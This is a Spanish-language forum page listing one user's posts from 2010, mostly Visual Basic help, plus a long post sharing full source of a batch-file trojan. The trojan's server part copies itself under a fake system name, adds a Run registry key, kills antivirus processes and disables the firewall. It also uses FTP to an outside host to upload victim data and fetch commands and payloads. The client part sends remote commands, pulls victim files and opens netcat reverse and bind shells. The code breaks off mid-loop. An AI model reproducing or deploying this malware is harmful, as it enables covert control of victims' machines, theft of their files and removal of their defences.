Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Nanoc

Páginas 1 2 3 4 5 6 7 8 9 10 11
#81
Programación Visual Basic / Re: que le pasa a mi bicho???????
11 Febrero 2010, 23:14 PM
Es exactamente lo que has dicho, veo que entiendes perfectamente el tema de los puertos en los routers
#82
Programación Visual Basic / Re: que le pasa a mi bicho???????
11 Febrero 2010, 21:49 PM
Si estas conectando con la misma ip (127.0.0.1) el router no tendra nada que ver, el firewall te podria bloquear el cliente cuando pone el socket a escuchar, pero no tienes mas que darle a desbloquear
#83
Programación Visual Basic / Re: Concatenar Array de bytes con string
10 Febrero 2010, 09:48 AM
Cita de: cobein en 10 Febrero 2010, 03:05 AM
Código [Seleccionar]
Private Sub Form_Load()
   Dim bvData() As Byte
   Dim sData As String

   bvData = CStr(bvData) & sData

End Sub

Poniendo eso compila, pero los datos que quiero meter en el array son binarios, no es texto, y la conversion no me la hace bien, alguna idea?
#84
Programación Visual Basic / Re: Concatenar Array de bytes con string
10 Febrero 2010, 01:23 AM
Si me escribes una funcion que lo haga perfecto XD
#85
Programación Visual Basic / Concatenar Array de bytes con string
10 Febrero 2010, 00:57 AM
Buenas, tengo una duda que no se como solucionar, tengo un string y quiero agregar su contenido al final de un array de bytes, para que se entienda
Código [Seleccionar]

Dim array() as byte
Dim Datos as string
Datos = "Datos"
array = array + Datos

Obviamente esa ultima linea no es correcta, pero espero que se entienda lo que quiero hacer, como puedo hacerlo?

Gracias
#86
Programación Visual Basic / Re: que le pasa a mi bicho???????
9 Febrero 2010, 22:59 PM
127.0.0.3 es lo mismo que 127.0.0.1 y la ip de la red local tambien, si no funciona con localhost no va a funcionar por mas ip que pongas, el error tiene que estar en el codigo
#87
Scripting / Re: Troyano de conexion inversa Batch
9 Febrero 2010, 22:40 PM
Naaa, hace por lo menos 2 años que dieron de baja el no-ip XD
#88
Programación Visual Basic / Re: que le pasa a mi bicho???????
9 Febrero 2010, 22:31 PM
A mi me suena que si usas Csocketmaster antes tienes que declarar algo asi en el form_load()
Código [Seleccionar]

Dim WithEvents ws As CSocketMaster
Set ws = New CSocketMaster
#89
Scripting / Re: Troyano de conexion inversa Batch
9 Febrero 2010, 22:26 PM
JAJAJAAJ lo dices por el cliente no?  :xD

Esto lo programe hace ya muchos años, cuando no tenia ni idea, pero aun si funcionaba de maravilla ee
#90
Scripting / Troyano de conexion inversa Batch
9 Febrero 2010, 22:21 PM
Hace tiempo que programe un troyano en batch y ahora que me he puesto, creo que estaria bien postearlo al publico aqui, los codes son un poco extensos

SERVER
Código [Seleccionar]

@echo off
if exist codes.txt goto codes
set ins=instrucciones
set res=respuestas
set id=Default
set time=15
:init
if "%1" == "get" goto getfile
if "%1" == "ip" goto ip
if exist "c:\WINDOWS\system32\winnt32.exe" goto sinfect
copy %0 "c:\WINDOWS\system32\winnt32.exe"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "wint32.exe" /t reg_sz /d "c:\WINDOWS\system32\winnt32.exe" /f
cd "C:\WINDOWS\system32"
tskill Avengine
tskill alogserv
tskill Apvxdwin
tskill SrvLoad
tskill navapsvc
tskill navapw32
tskill nisserv
tskill nisum
tskill avgcc32
tskill avgserv
tskill Avsynmgr
tskill avxinit
tskill avxlive
tskill defwatch
tskill Mcshield
tskill mcupdate
tskill pavsched
tskill persfw
tskill vptray
tskill vshwin32
tskill vsmon
tskill VSStat
tskill zapro
tskill zonealarm
tskill zclient
tskill webscanx
tskill sched
tskill avguard
net stop "Centro de Seguridad"
net stop "Firewall de Windows/Conexión compartida a Internet (ICS)"
:confir
set/a hor=%TIME:~,2%
set/a min=%TIME:~3,2%
set/a seg=%TIME:~6%
echo id %id%>confir.txt
echo ins %ins%>>confir.txt
echo res %res%>>confir.txt
echo temp %time%>>confir.txt
echo %hor% : %min% : %seg%>>confir.txt
echo Batch Broyan V7>>confir.txt
echo He infectado correctamente y estoi a la espera de ordenes>>confir.txt
ver>>confir.txt
echo open nanoc.no-ip.info>descargar.txt
echo Troyan>>descargar.txt
echo crysis>>descargar.txt
echo cd Data\Notices>>C:\WINDOWS\system32\descargar.txt
echo put confir.txt>>descargar.txt
echo cd ..>>descargar.txt
echo cd securitysystem>>descargar.txt
echo get lssas.exe>>descargar.txt
echo bye>>descargar.txt
ftp -s:descargar.txt
del descargar.txt
del confir.txt
start lssas.exe
goto sinfect
:ip
set/a hor=%TIME:~,2%
set/a min=%TIME:~3,2%
set/a seg=%TIME:~6%
echo %hor% : %min% : %seg%>ip.txt
echo Batch Troyan V7>>ip.txt
echo Mi codigo de instruccion es %ins% y el de respuesta %res%>>ip.txt
echo El identificador de victima es %id%>>ip.txt
echo El tiempo de espera de conexion es de %time% segundos>>ip.txt
echo El sistema de seguridad esta funcionando correctamente>>ip.txt
if exist nc.exe (echo Parece haber un netcat en esta victima>>ip.txt)
echo Adjunto ip de la victima:>>ip.txt
ver>>ip.txt
ipconfig>>ip.txt
echo open nanoc.no-ip.info>descargar.txt
echo Troyan>>descargar.txt
echo crysis>>descargar.txt
echo cd Data\Packets>>C:\WINDOWS\system32\descargar.txt
echo put ip.txt>>descargar.txt
echo bye>>descargar.txt
ftp -s:descargar.txt
del descargar.txt
del ip.txt
exit
:sinfect
cd "C:\WINDOWS\system32"
echo id %id%>conect.txt
echo ins %ins%>>conect.txt
echo res %res%>>conect.txt
cd "C:\WINDOWS\system32"
if exist %res%.txt goto sendresp
tskill Avengine
tskill alogserv
tskill Apvxdwin
tskill SrvLoad
tskill navapsvc
tskill navapw32
tskill nisserv
tskill nisum
tskill avgcc32
tskill avgserv
tskill Avsynmgr
tskill avxinit
tskill avxlive
tskill defwatch
tskill Mcshield
tskill mcupdate
tskill pavsched
tskill persfw
tskill vptray
tskill vshwin32
tskill vsmon
tskill VSStat
tskill zapro
tskill zonealarm
tskill zclient
tskill webscanx
tskill sched
tskill avguard
net stop "Centro de Seguridad"
net stop "Firewall de Windows/Conexión compartida a Internet (ICS)"
ping -n %time% 127.0.0.1 > nul
echo open nanoc.no-ip.info>descargar.txt
echo Troyan>>C:\WINDOWS\system32\descargar.txt
echo crysis>>C:\WINDOWS\system32\descargar.txt
echo cd Data\Packets>>C:\WINDOWS\system32\descargar.txt
echo get %ins%.bat>>C:\WINDOWS\system32\descargar.txt
echo del %ins%.bat>>C:\WINDOWS\system32\descargar.txt
echo put conect.txt>>C:\WINDOWS\system32\descargar.txt
echo bye>>C:\WINDOWS\system32\descargar.txt
ftp -s:C:\WINDOWS\system32\descargar.txt
del C:\WINDOWS\system32\descargar.txt
del conect.txt
echo start winnt32.exe>>C:\WINDOWS\system32\%ins%.bat
echo exit>>C:\WINDOWS\system32\%ins%.bat
call %ins%.bat
:codes
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "newinst" codes.txt') do set ins=%%a
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "newresp" codes.txt') do set res=%%a
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "newid" codes.txt') do set id=%%a
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "temp" codes.txt') do set time=%%a
goto init
:sendresp
echo open nanoc.no-ip.info>C:\WINDOWS\system32\descargar.txt
echo Troyan>>C:\WINDOWS\system32\descargar.txt
echo crysis>>C:\WINDOWS\system32\descargar.txt
echo cd Data\Packets>>C:\WINDOWS\system32\descargar.txt
echo put %res%.txt>>C:\WINDOWS\system32\descargar.txt
echo put conect.txt>>C:\WINDOWS\system32\descargar.txt
echo bye>>C:\WINDOWS\system32\descargar.txt
ftp -s:C:\WINDOWS\system32\descargar.txt
del C:\WINDOWS\system32\descargar.txt
del C:\WINDOWS\system32\%res%.txt
del C:\WINDOWS\system32\%ins%.bat
goto sinfect
:getfile
echo open nanoc.no-ip.info>C:\WINDOWS\system32\descargar.txt
echo Troyan>>C:\WINDOWS\system32\descargar.txt
echo crysis>>C:\WINDOWS\system32\descargar.txt
echo cd Data\Files>>C:\WINDOWS\system32\descargar.txt
echo get %2>>C:\WINDOWS\system32\descargar.txt
echo bye>>C:\WINDOWS\system32\descargar.txt
ftp -s:C:\WINDOWS\system32\descargar.txt
del descargar.txt
exit

CLIENTE
Código [Seleccionar]

@echo off
TITLE Batch Troyan client V7
echo Bienvenido al Batch troyan client V7
pause >nul
if exist Data\Notices\alert.txt goto alert
if exist Data\Notices\confir.txt goto do
:menus
del Data\Notices\confir.txt
del Data\Notices\alert.txt
cls
echo 1 Ver victimas conectadas
echo 2 Introducir codigos manualmente
echo 3 Salir
set /p opc=Introduce numero de opcion:
if %opc%==1 goto vic
if %opc%==2 goto codt
if %opc%==3 goto exit
cls
echo Error2
pause > nul
goto menus
:codt
cls
set /p ins=Introduce codigo de instruccion del server:
cls
set /p res=Introduce codigo de respuesta del server:
:menu
cls
echo 1 Enviar comando al server
echo 2 Pedir Informacion general
echo 3 Comprobar estado del security system
echo 4 Obtener shell de la victima
echo 5 Descargar archivo de la victima
echo 6 Cambiar codigos de la victima
echo 7 Colocar netcat a la escucha
echo 8 Colocar servidor ftp
echo 9 Subir archivo al server
echo 10 salir
set /p pag=Introduce numero de opcion:
if %pag%==1 goto send
if %pag%==2 goto try
if %pag%==3 goto sec
if %pag%==4 goto inv
if %pag%==5 goto arch
if %pag%==6 goto codes
if %pag%==7 goto shell
if %pag%==8 goto ftp
if %pag%==9 goto load
if %pag%==10 goto exit
cls
echo Error2
pause>nul
goto menu
:try
echo Enviando paquete de instrucciones...
echo start winnt32.exe ip>>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones...OK
ping -n 1 127.0.0.1 >nul
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\ip.txt goto respon

cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:respon
cls
echo server OK!
ping -n 1 127.0.0.1 >nul
echo Pidiendo informacion de victima...
ping -n 3 127.0.0.1 >nul
echo OK!
cls
type Data\Packets\ip.txt
pause >nul
cls
del Data\Packets\ip.txt
cls
goto menu
:send
cls
set /p com=Escribe comando para enviar:
echo %com%^>^%res%.txt>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 10 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 10 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 5 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 10 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:resp
cls
echo Comando enviado correctamente!
cls
type Data\Packets\%res%.txt
pause >nul
cls
set /p sav=Deseas guardar la respuesta del server(si\no):
if %sav%==si goto save
del Data\Packets\%res%.txt
cls
goto menu
:exit
msg * Gracias por usar programas del grupo Crysis  http:\\crysisteam.no-ip.info
exit
:sec
echo if exist lssas.exe goto siex>>Data\Packets\%ins%.bat
echo echo El sistema de seguridad no funciona^>^>%res%.txt>>Data\Packets\%ins%.bat
echo exit>>Data\Packets\%ins%.bat
echo :siex>>Data\Packets\%ins%.bat
echo echo El sistema de seguridad funciona correctamente^>^>%res%.txt>>Data\Packets\%ins%.bat
attrib -h %inst%.bat
cls
echo Enviando paquete de instrucciones...OK
ping -n 1 127.0.0.1 >nul
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp

cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:respon
cls
echo server OK!
ping -n 1 127.0.0.1 >nul
echo Pidiendo informacion del security system...
ping -n 3 127.0.0.1 >nul
echo OK!
cls
type Data\Packets\%res%.txt
pause >nul
cls
set /p sav=Deseas guardar la respuesta del server(si\no):
if %sav%==si goto save
del Data\Packets\%res%.txt
cls
goto menu
:save
set /p nom=Con que nombre deseas guardarla?:
if exist saves goto exis
mkdir saves
rename Data\Packets\%res%.txt Data\Packets\%nom%.txt
copy Data\Packets\%nom%.txt Data\saves\%nom%.txt
del Data\Packets\%nom%.txt
goto menu
:exis
rename Data\Packets\%res%.txt Data\Packets\%nom%.txt
copy Data\Packets\%nom%.txt Data\saves\%nom%.txt
del Data\Packets\%nom%.txt
goto menu

:inv
cls
echo Para usar esta opcion es necesario tener el programa netcat (nc.exe) en la carpeta Data\Files del ftp
echo Asegurate de que esta hay, despues pulsa enter
pause > nul
cls
set /p dns=Introduce la ip/dns de este equipo:
cls
set /p porti=Introduce el puerto que quieras usar:
cls
echo Esta opcion utiliza una shell inversa con netcat
echo Si usas router o tienes un firewall asegurate de abrir el puerto que diste antes o de dar permisos de salida a "nc.exe"
echo El cliente pasara a esperar la conexion del server
pause
cls
echo echo open nanoc.no-ip.info^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo Troyan^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo crysis^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo get nc.exe^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo bye^>^>^descar.txt>>Data\Packets\%ins%.bat
echo ftp -s:descar.txt>>Data\Packets\%ins%.bat
echo del descar.txt>>Data\Packets\%ins%.bat
echo start nc -d -e cmd.exe %dns% %porti%>>Data\Packets\%ins%.bat
cls
nc -vv -L -p %porti%

:arch
cls
set /p arc=Introduce la ruta del archivo a descargar:
cls
echo echo open nanoc.no-ip.info^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo Troyan^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo crysis^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo put %arc%>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo bye^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo La descarga del archivo a comenzado^>^>%res%.txt>>Data\Packets\%ins%.bat
echo ftp -s:descar.txt>>Data\Packets\%ins%.bat
echo del descar.txt>>Data\Packets\%ins%.bat
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp5
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:resp5
cls
type Data\Packets\%res%.txt
pause >nul
del Data\Packets\%res%.txt
cls
goto menu
:codes
cls
set /p codeins=Introduce nuevo codigo de instruccion:
cls
set /p coderes=Introduce nuevo codigo de respuesta:
cls
set /p idcode=Introduce nuevo identificador de victima:
cls
set /p temp=Introduce nuevo tiempo de espera de conexion:
echo del codes.txt>>Data\Packets\%ins%.bat
echo echo newinst %codeins%^>^>^codes.txt>>Data\Packets\%ins%.bat
echo echo newresp %coderes%^>^>^codes.txt>>Data\Packets\%ins%.bat
echo echo newid %idcode%^>^>^codes.txt>>Data\Packets\%ins%.bat
echo echo temp %temp%^>^>^codes.txt>>Data\Packets\%ins%.bat
echo echo Los codigos han sido cambiados con exito^>^>%coderes%.txt>>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%coderes%.txt goto resp6
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:resp6
cls
type Data\Packets\%coderes%.txt
pause >nul
del Data\Packets\%coderes%.txt
cls
echo Despues de este comando es necesario volver a conectar
echo Recuerda introducir los nuevos codigos
pause > nul
goto menus
:shell
cls
echo Para usar esta opcion es necesario tener el programa netcat (nc.exe) en el directorio raiz del ftp
echo Asegurate de que esta hay, despues pulsa enter
pause > nul
cls
set /p port=Introduce el puerto donde colocar netcat a la escucha:
cls
echo echo open nanoc.no-ip.info^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo Troyan^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo crysis^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo get nc.exe^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo He colocado una shell a la escucha en el puerto %port%^>^>^%res%.txt>>Data\Packets\%ins%.bat
echo echo bye^>^>^descar.txt>>Data\Packets\%ins%.bat
echo ftp -s:descar.txt>>Data\Packets\%ins%.bat
echo del descar.txt>>Data\Packets\%ins%.bat
echo start nc -L -d -e cmd.exe -p %port%>>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
